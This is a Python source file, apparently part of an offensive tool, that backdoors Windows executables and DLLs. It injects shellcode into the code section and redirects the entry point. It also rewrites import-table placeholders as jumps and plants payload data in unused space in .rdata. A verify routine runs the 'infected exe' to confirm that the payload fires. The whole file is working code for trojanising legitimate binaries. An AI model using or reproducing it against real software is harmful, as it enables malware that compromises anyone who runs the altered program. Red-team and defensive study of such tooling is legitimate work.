from helper import * import logging import time import logging from model.carrier import Carrier, DataReuseEntry from pe.pehelper import * from model.exehost import * from observer import observer from pe.derbackdoorer import PeBackdoor from pe.superpe import SuperPe from model.project import Project from model.settings import Settings logger = logging.getLogger("Injector") def inject_exe( main_shc_path: FilePath, settings: Settings, project: Project, ): shellcode_in = project.payload.payload_path exe_in = settings.inject_exe_in exe_out = settings.inject_exe_out carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style source_style: FunctionInvokeStyle = settings.source_style logger.info("--[ Injecting: {} into {} -> {}".format( shellcode_in, exe_in, exe_out )) # Read prepared loader shellcode # And check if it fits into the target code section main_shc = file_readall_binary(main_shc_path) l = len(main_shc) if l + 128 > project.exe_host.code_section.Misc_VirtualSize: logger.error("Error: Shellcode {}+128 too small for target code section {}".format( l, project.exe_host.code_section.Misc_VirtualSize )) return False # superpe is a representation of the exe file. We gonna modify it, and save it at the end. superpe = SuperPe(exe_in) pe_backdoorer = PeBackdoor(superpe, main_shc, carrier_invoke_style) if superpe.is_dll() and settings.dllfunc == "": raise Exception("DLL injection requires a DLL function name") if not pe_backdoorer.injectShellcode(dllfunc=settings.dllfunc): logger.error('Could not inject shellcode into PE file!') return False if True: # not superpe.is_dll(): if not pe_backdoorer.setupShellcodeEntryPoint(): logger.error('Could not setup shellcode launch within PE file!') return False logger.info("--[ Rewrite placeholders with their data") if source_style == FunctionInvokeStyle.iat_reuse: injected_fix_iat(superpe, project.carrier, project.exe_host) if True: injected_fix_data(superpe, project.carrier, project.exe_host) superpe.write_pe_to_file(exe_out) # verify and log shellcode = file_readall_binary(shellcode_in) shellcode_len = len(shellcode) code = extract_code_from_exe_file(exe_out) in_code = code[pe_backdoorer.shellcodeOffsetRel:pe_backdoorer.shellcodeOffsetRel+shellcode_len] jmp_code = code[pe_backdoorer.backdoorOffsetRel:pe_backdoorer.backdoorOffsetRel+12] if config.debug: observer.add_code_file("exe_extracted_loader", in_code) observer.add_code_file("exe_extracted_jmp", jmp_code) #if in_code != shellcode: # raise Exception("Shellcode injection error") def injected_fix_iat(superpe: SuperPe, carrier: Carrier, exe_host: ExeHost): """replace IAT-placeholders in shellcode with call's to the IAT""" code = superpe.get_code_section_data() for iatRequest in carrier.get_all_iat_requests(): if not iatRequest.placeholder in code: raise Exception("IatResolve ID {} not found, abort".format(iatRequest.placeholder)) destination_virtual_address = exe_host.get_vaddr_of_iatentry(iatRequest.name) if destination_virtual_address == None: raise Exception("IatResolve: Function {} not found".format(iatRequest.name)) offset_from_code = code.index(iatRequest.placeholder) instruction_virtual_address = offset_from_code + exe_host.image_base + exe_host.code_section.VirtualAddress logger.info(" Replace {} at VA 0x{:X} with call to IAT at VA 0x{:X}".format( iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address )) jmp = assemble_and_disassemble_jump( instruction_virtual_address, destination_virtual_address ) code = code.replace(iatRequest.placeholder, jmp) superpe.write_code_section_data(code) def injected_fix_data(superpe: SuperPe, carrier: Carrier, exe_host: ExeHost): """Inject shellcode-data into .rdata and replace reusedata_fixup placeholders in code with LEA""" # Insert my data into the .rdata section. # Chose and save each datareuse_fixup's addres. reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups() if len(reusedata_fixups) == 0: # nothing todo return # Put stuff into .rdata section in the PE peSection = exe_host.superpe.get_section_by_name(".rdata") if peSection == None: raise Exception("No .rdata section found, abort") rm = exe_host.get_rdata_relocmanager() if True: # FIXME this is a hack which is sometimes necessary sect_data_copy = peSection.pefile_section.get_data() string_off = find_first_utf16_string_offset(sect_data_copy) if string_off == None: raise Exception("Strings not found in .rdata section, abort") if string_off < 100: logging.warn("weird: Strings in .rdata section at offset {} < 100".format(string_off)) rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off) # Do all .rdata patches for datareuse_fixup in reusedata_fixups: # get a hole in the .rdata section to put our data hole = rm.find_hole(len(datareuse_fixup.data)) if hole == None: raise Exception("No suitable hole with size {} found in .rdata section, abort".format( len(datareuse_fixup.data) )) fixup_offset_rdata = hole[0] # the start address of the hole (from start of .rdata) rm.add_range(hole[0], hole[1]) # mark it as used var_data = datareuse_fixup.data superpe.pe.set_bytes_at_offset(fixup_offset_rdata, var_data) datareuse_fixup.addr = fixup_offset_rdata + peSection.virt_addr + exe_host.image_base - peSection.raw_addr logging.info(" Add data to .rdata at 0x{:X} (off: {}): {}".format( datareuse_fixup.addr, fixup_offset_rdata, var_data.decode('utf-16le'))) fixup_offset_rdata += len(var_data) + 8 # patch code section # replace the placeholder with a LEA instruction to the data we written above code = superpe.get_code_section_data() for datareuse_fixup in reusedata_fixups: if not datareuse_fixup.randbytes in code: raise Exception("DataReuse: ID {} not found, abort".format( datareuse_fixup.randbytes)) offset_from_datasection = code.index(datareuse_fixup.randbytes) instruction_virtual_address = offset_from_datasection + exe_host.image_base + exe_host.code_section.VirtualAddress destination_virtual_address = datareuse_fixup.addr logger.info(" Replace {} at VA 0x{:X} with LEA {} .rdata 0x{:X}".format( datareuse_fixup.randbytes.hex(), instruction_virtual_address, datareuse_fixup.register, destination_virtual_address )) lea = assemble_lea( instruction_virtual_address, destination_virtual_address, datareuse_fixup.register ) code = code.replace(datareuse_fixup.randbytes, lea) superpe.write_code_section_data(code) def verify_injected_exe(exefile: FilePath, dllfunc="") -> int: logger.info("---[ Verify infected exe: {} ".format(exefile)) # remove indicator file pathlib.Path(VerifyFilename).unlink(missing_ok=True) run_exe(exefile, dllfunc=dllfunc, check=False) time.sleep(SHC_VERIFY_SLEEP) if os.path.isfile(VerifyFilename): logger.info("---> Verify OK. Infected exe works (file was created)") # better to remove it immediately os.remove(VerifyFilename) return 0 else: logger.error("---> Verify FAIL. Infected exe does not work (no file created)") return 1